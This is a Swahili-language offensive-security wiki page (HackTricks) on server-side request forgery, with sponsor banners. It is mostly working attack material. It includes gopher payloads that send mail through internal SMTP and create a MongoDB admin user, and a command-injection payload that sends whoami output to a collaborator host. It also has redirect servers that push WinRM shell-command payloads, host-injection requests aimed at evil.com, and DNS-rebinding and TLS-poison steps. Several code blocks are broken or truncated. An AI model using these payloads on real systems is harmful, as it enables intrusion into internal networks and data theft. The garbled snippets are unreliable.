# SSRF (Server Side Request Forgery)
\ Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia workflows** kwa kutumia zana za **jamii ya juu zaidi** ulimwenguni.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Taarifa Msingi Ugunduzi wa **udhaifu wa Server-side Request Forgery (SSRF)** hutokea wakati muhusika anadanganya **programu upande wa seva** kufanya **ombi la HTTP** kwa kikoa wanachochagua. Udhaifu huu unafunua seva kwa maombi ya nje yasiyo na mpangilio yanayoongozwa na muhusika. ## Kukamata SSRF Jambo la kwanza unalohitaji kufanya ni kukamata mwingiliano wa SSRF uliozalishwa na wewe. Kukamata mwingiliano wa HTTP au DNS unaweza kutumia zana kama: * **Burp Collaborator** * [**pingb**](http://pingb.in) * [**canarytokens**](https://canarytokens.org/generate) * [**interractsh**](https://github.com/projectdiscovery/interactsh) * [**http://webhook.site**](http://webhook.site) * [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff) * [http://requestrepo.com/](http://requestrepo.com/) * [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness) * [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Burp Collaborator inayotumia ngrok ## Kupitisha Domains Zilizowekwa kwenye Orodha ya Kufanya Kawaida utagundua kuwa SSRF inafanya kazi tu kwenye **vivinjari vya tovuti fulani vilivyowekwa kwenye orodha ya kufanya** au URL. Kwenye ukurasa unaofuata una **mkusanyiko wa mbinu za kujaribu kupitisha orodha hiyo**: {% content-ref url="url-format-bypass.md" %} [url-format-bypass.md](url-format-bypass.md) {% endcontent-ref %} ### Kupitisha kupitia kuelekeza wazi Ikiwa seva imekingwa vizuri unaweza **kupitisha vizuizi vyote kwa kudukua Kuelekeza wazi kwenye ukurasa wa wavuti**. Kwa sababu ukurasa wa wavuti utaruhusu **SSRF kwa kikoa kile kile** na labda itafuata **kuelekeza**, unaweza kutumia **Kuelekeza wazi kufanya seva iweze kupata rasilimali yoyote ya ndani**.\ Soma zaidi hapa: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) ## Itifaki * **file://** * Mpangilio wa URL `file://` unalinganishwa, ukionyesha moja kwa moja kwa `/etc/passwd`: `file:///etc/passwd` * **dict://** * Mpangilio wa URL wa DICT unaelezewa kutumika kwa kupata ufafanuzi au orodha za maneno kupitia itifaki ya DICT. Mfano uliotolewa unaelezea URL iliyoundwa ikilenga neno maalum, database, na nambari ya kuingia, pamoja na mfano wa skripti ya PHP inayoweza kutumiwa vibaya kuunganisha kwenye seva ya DICT kwa kutumia sifa zilizotolewa na muhusika: `dict://;@:/d:::` * **SFTP://** * Kutambuliwa kama itifaki ya uhamishaji salama wa faili kupitia ganda la usalama, mfano unatolewa ukionyesha jinsi skripti ya PHP inaweza kutumiwa kudukua kuunganisha kwenye seva mbaya ya SFTP: `url=sftp://generic.com:11111/` * **TFTP://** * Itifaki ya Uhamishaji wa Faili wa Trivial, ikifanya kazi kupitia UDP, inatajwa na mfano wa skripti ya PHP iliyoundwa kutuma ombi kwa seva ya TFTP. Ombi la TFTP linatolewa kwa 'generic.com' kwenye bandari '12346' kwa faili 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` * **LDAP://** * Sehemu hii inashughulikia Itifaki ya Upatikanaji wa Dhibiti wa Mwongozo, ikisisitiza matumizi yake kwa usimamizi na upatikanaji wa huduma za habari za saraka zilizosambazwa kupitia mitandao ya IP. Kuwasiliana na seva ya LDAP kwenye localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` * **SMTP** * Njia inaelezewa ya kutumia udhaifu wa SSRF kuingiliana na huduma za SMTP kwenye localhost, ikiwa ni pamoja na hatua za kufunua majina ya kikoa cha ndani na hatua zaidi za uchunguzi kulingana na habari hiyo. ``` From https://twitter.com/har1sec/status/1182255952055164929 1. connect with SSRF on smtp localhost:25 2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail 3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains 4. connect ``` * **Curl URL globbing - Kupita kwa WAF** * Ikiwa SSRF inatekelezwa na **curl**, curl ina kipengele kinachoitwa [**URL globbing**](https://everything.curl.dev/cmdline/globbing) ambacho kinaweza kuwa na manufaa katika kuvuka WAFs. Kwa mfano katika hii [**andika**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) unaweza kupata mfano huu wa **upitishaji wa njia kupitia itifaki ya `file`**: ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` * **Gopher://** * Uwezo wa itifaki ya Gopher wa kutaja IP, bandari, na baits kwa mawasiliano ya seva unajadiliwa, pamoja na zana kama Gopherus na remote-method-guesser kwa kutengeneza mizigo. Matumizi mawili tofauti yanaelezwa: ### Gopher:// Kwa kutumia itifaki hii unaweza kutaja **IP, bandari na bytes** unazotaka seva itume. Kisha, unaweza kimsingi kutumia SSRF kuwasiliana na **seva yoyote ya TCP** (lakini unahitaji kujua jinsi ya kuzungumza na huduma kwanza).\ Bahati nzuri, unaweza kutumia [Gopherus](https://github.com/tarunkant/Gopherus) kutengeneza mizigo kwa huduma kadhaa. Aidha, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) inaweza kutumika kutengeneza mizigo ya _gopher_ kwa huduma za _Java RMI_. **Gopher smtp** ``` ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a will make a request like HELO localhost MAIL FROM: RCPT TO: DATA From: [Hacker] To: Date: Tue, 15 Sep 2017 17:20:26 -0400 Subject: Ah Ah AHYou didn't say the magic word ! . QUIT ``` **Gopher HTTP** ```bash #For new lines you can use %0A, %0D%0A gopher://:8080/_GET / HTTP/1.0%0A%0A gopher://:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body ``` **Gopher SMTP - Rudi kwa 1337** {% code title="redirect.php" %} ```php Now query it. https://example.com/?q=http://evil.com/redirect.php. ``` {% endcode %} #### Gopher MongoDB -- Unda mtumiaji na jina la mtumiaji=admin na nywila=admin123 na kwa idhini ya msimamizi ```bash # Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0 7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a %00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00% 06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00 %00%00administrator%00%00%00%00' ``` ## SSRF kupitia kichwa cha Referrer & Wengine Programu za takwimu kwenye seva mara nyingi hurekodi kichwa cha Referrer kufuatilia viungo vinavyoingia, mazoezi ambayo kwa bahati mbaya hufunua programu kwa Vulnerabilities ya Server-Side Request Forgery (SSRF). Hii ni kwa sababu programu kama hizo zinaweza kutembelea URL za nje zilizotajwa kwenye kichwa cha Referrer kuchambua maudhui ya tovuti ya rufaa. Ili kugundua Vulnerabilities hizi, programu-jalizi ya Burp Suite "**Collaborator Everywhere**" inapendekezwa, ikichangamana na jinsi zana za takwimu zinavyoprocess kichwa cha Referer kutambua maeneo ya mashambulizi ya SSRF yanayowezekana. ## SSRF kupitia data ya SNI kutoka kwenye cheti Hitilafu ya usanidi inayoweza kuwezesha uhusiano kwa seva yoyote ya nyuma kupitia usanidi rahisi inaelezwa kwa mfano wa usanidi wa Nginx: ``` stream { server { listen 443; resolver 127.0.0.11; proxy_pass $ssl_preread_server_name:443; ssl_preread on; } } ``` Katika usanidi huu, thamani kutoka kwa uga wa Jina la Seva Indication (SNI) hutumiwa moja kwa moja kama anwani ya seva ya nyuma. Usanidi huu unafunua udhaifu kwa Server-Side Request Forgery (SSRF), ambayo inaweza kutumiwa kwa kuelekeza tu anwani ya IP au jina la uwanja uliokusudiwa katika uga wa SNI. Mfano wa kutumia udhaifu huu kufanya uunganisho kwa seva ya nyuma isiyojulikana, kama vile `internal.host.com`, kwa kutumia amri ya `openssl` umeelezewa hapa chini: ```bash openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ``` ## [Kuweka faili kwa kutumia Wget](../file-upload/#wget-file-upload-ssrf-trick) ## SSRF na Kuingiza Amri Inaweza kuwa na thamani kujaribu mzigo kama huu: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` ## Utoaji wa PDFs Ikiwa ukurasa wa wavuti unazalisha moja kwa moja PDF na habari fulani uliyoitoa, unaweza **kuweka JS ambayo itatekelezwa na mtengenezaji wa PDF** yenyewe (seva) wakati wa kuzalisha PDF na utaweza kutumia SSRF. [**Pata habari zaidi hapa**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** ## Kutoka SSRF hadi DoS Unda vikao kadhaa na jaribu kupakua faili nzito kwa kutumia udhaifu wa SSRF kutoka kwa vikao. ## Vipengele vya PHP vya SSRF {% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} [php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) {% endcontent-ref %} ## SSRF Kuhamisha kwa Gopher Kwa baadhi ya uchimbaji unaweza kuhitaji **kupeleka jibu la kuhamisha** (labda kutumia itifaki tofauti kama gopher). Hapa una nambari tofauti za python za kujibu kwa kuhamisha: ```python # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes from http.server import HTTPServer, BaseHTTPRequestHandler import ssl class MainHandler(BaseHTTPRequestHandler): def do_GET(self): print("GET") self.send_response(301) ```html self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20 ```swahili self.end_headers() httpd = HTTPServer(('0.0.0.0', 443), MainHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True) httpd.serve_forever() ``` ```python from flask import Flask, redirect from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301) if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ```
\ Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia workflows** kwa urahisi zaidi yaliyotengenezwa na zana za jamii **za juu zaidi** duniani.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Proksi zilizowekwa vibaya kwa SSRF Mbinu [**kutoka kwenye chapisho hili**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). ### Flask
Msimbo hatari wa proksi ya Flask ```python from flask import Flask from requests import get app = Flask('__main__') SITE_NAME = 'https://google.com' @app.route('/', defaults={'path': ''}) @app.route('/') def proxy(path): return get(f'{SITE_NAME}{path}').content if __name__ == "__main__": app.run(threaded=False) ```
Flask inaruhusu kutumia **`@`** kama herufi ya kwanza, ambayo inaruhusu kufanya **jina la mwenyeji wa awali kuwa jina la mtumiaji** na kuingiza mpya. Ombi la shambulio: ```http GET @evildomain.com/ HTTP/1.1 Host: target.com Connection: close ``` ### Spring Boot Msimbo wenye kasoro:
Iligundulika kwamba Inawezekana kuanza njia ya ombi na herufi **`;`** ambayo inaruhusu kutumia kisha **`@`** na kuingiza mwenyeji mpya kufikia. Ombi la shambulio: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` ### Seva ya Wavuti ya Kujengwa kwa PHP
Msimbo wa PHP wenye Kasoro ```php ```
PHP inaruhusu matumizi ya **herufi `*` kabla ya mshale katika njia** ya URL, hata hivyo, ina vizuizi vingine kama vile inaweza kutumika tu kwa jina la njia ya msingi `/` na kwamba vipande `.` haviruhusiwi kabla ya mshale wa kwanza, hivyo ni lazima kutumia anwani ya IP iliyo na hex bila ya vipande kama vile: ```http GET *@0xa9fea9fe/ HTTP/1.1 Host: target.com Connection: close ``` ## DNS Rebidding CORS/SOP bypass Ikiwa una **matatizo** ya **kutoa maudhui kutoka kwa anwani ya IP ya ndani** kwa sababu ya **CORS/SOP**, **DNS Rebidding** inaweza kutumika kukiuka kizuizi hicho: {% content-ref url="../cors-bypass.md" %} [cors-bypass.md](../cors-bypass.md) {% endcontent-ref %} ### DNS Rebidding ya Kiotomatiki [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ni chombo cha kufanya mashambulizi ya [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Inajumuisha vipengele vinavyohitajika kurejesha upya anwani ya IP ya seva ya shambulizi kwa anwani ya IP ya mashine ya lengo na kutumikia mizigo ya mashambulizi kudukua programu zinazoweza kudhuriwa kwenye mashine ya lengo. Tazama pia **seva inayofanya kazi hadharani katika** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) ## DNS Rebidding + Kitambulisho cha Kikao cha TLS/Tiketi ya Kikao Mahitaji: * **SSRF** * **Vikao vya TLS vya kutoka nje** * **Vitu kwenye bandari za ndani** Shambulio: 1. Muulize mtumiaji/roboti **kupata** **kikoa** kinachodhibitiwa na **mshambulizi** 2. **TTL** ya **DNS** ni **0** sec (hivyo muathiriwa atachunguza IP ya kikoa tena hivi karibuni) 3. Uunganisho wa **TLS** unajengwa kati ya muathiriwa na kikoa cha mshambulizi. Mshambulizi anaingiza **mzigo ndani** ya **Kitambulisho cha Kikao au Tiketi ya Kikao**. 4. **Kikoa** kitanzisha **mzunguko usio na mwisho** wa kuelekeza dhidi yake **mwenyewe**. Lengo la hii ni kufanya mtumiaji/roboti kupata kikoa hadi itakapofanya **tena** ombi la **DNS** la kikoa. 5. Katika ombi la DNS anwani ya **IP ya kibinafsi** inatolewa **sasa** (k.m. 127.0.0.1) 6. Mtumiaji/roboti atajaribu **kurejesha uunganisho wa TLS** na ili kufanya hivyo itatuma Kitambulisho cha **Kikao/Tiketi ya Kikao** (ambapo **mzigo** wa mshambulizi ulikuwa). Hivyo pongezi umefanikiwa kuomba **mtumiaji/roboti kujishambulia mwenyewe**. Tafadhali kumbuka kuwa wakati wa shambulio hili, ikiwa unataka kushambulia localhost:11211 (_memcache_) unahitaji kufanya muathiriwa aweke uhusiano wa awali na www.attacker.com:11211 (bandari ** lazima iwe sawa daima**).\ Kwa **kutekeleza shambulio hili unaweza kutumia chombo**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ Kwa **majaribio zaidi** angalia mazungumzo ambapo shambulio hili linaelezewa: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference) ## SSRF isiyo na Mwonekano Tofauti kati ya SSRF isiyo na mwonekano na ile isiyokuwa na mwonekano ni kwamba katika ile isiyo na mwonekano huwezi kuona jibu la ombi la SSRF. Kwa hivyo, ni ngumu zaidi kudukua kwa sababu utaweza kudukua tu mapungufu yanayojulikana vizuri. ### SSRF Inayotegemea Wakati **Kwa kuchunguza wakati** wa majibu kutoka kwa seva inaweza kuwa **inawezekana kujua ikiwa rasilimali ipo au la** (labda inachukua muda zaidi kupata rasilimali inayopo kuliko kupata ile ambayo haipo) ## Udukuzi wa SSRF wa Buluu Ikiwa unapata udhaifu wa SSRF kwenye mashine inayofanya kazi ndani ya mazingira ya buluu unaweza kupata habari muhimu kuhusu mazingira ya buluu na hata vibali: {% content-ref url="cloud-ssrf.md" %} [cloud-ssrf.md](cloud-ssrf.md) {% endcontent-ref %} ## Majukwaa Yenye Udhaifu wa SSRF Majukwaa kadhaa yanayojulikana yana au yamekuwa na udhaifu wa SSRF, angalia katika: {% content-ref url="ssrf-vulnerable-platforms.md" %} [ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md) {% endcontent-ref %} ## Vyombo ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap) Chombo cha kugundua na kudukua udhaifu wa SSRF ### [Gopherus](https://github.com/tarunkant/Gopherus) * [Machapisho kuhusu Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) Chombo hiki huzalisha mizigo ya Gopher kwa: * MySQL * PostgreSQL * FastCGI * Redis * Zabbix * Memcache ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [Machapisho kuhusu matumizi ya SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) _remote-method-guesser_ ni skana ya udhaifu wa _Java RMI_ inayounga mkono operesheni za mashambulizi kwa udhaifu wa kawaida wa _Java RMI_. Operesheni nyingi zilizopo zinaunga mkono chaguo la `--ssrf`, kuzalisha mzigo wa _SSRF_ kwa operesheni iliyoombwa. Pamoja na chaguo la `--gopher`, mizigo ya _gopher_ tayari inaweza kuzalishwa moja kwa moja. ### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) SSRF Proxy ni seva ya proksi ya HTTP yenye nyuzi nyingi iliyoundwa kufanya trafiki ya HTTP ya mteja kupitia seva za HTTP zilizodhaifu kwa Server-Side Request Forgery (SSRF). ### Kwa mazoezi {% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %} ## Marejeo * [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) * [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/) * [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)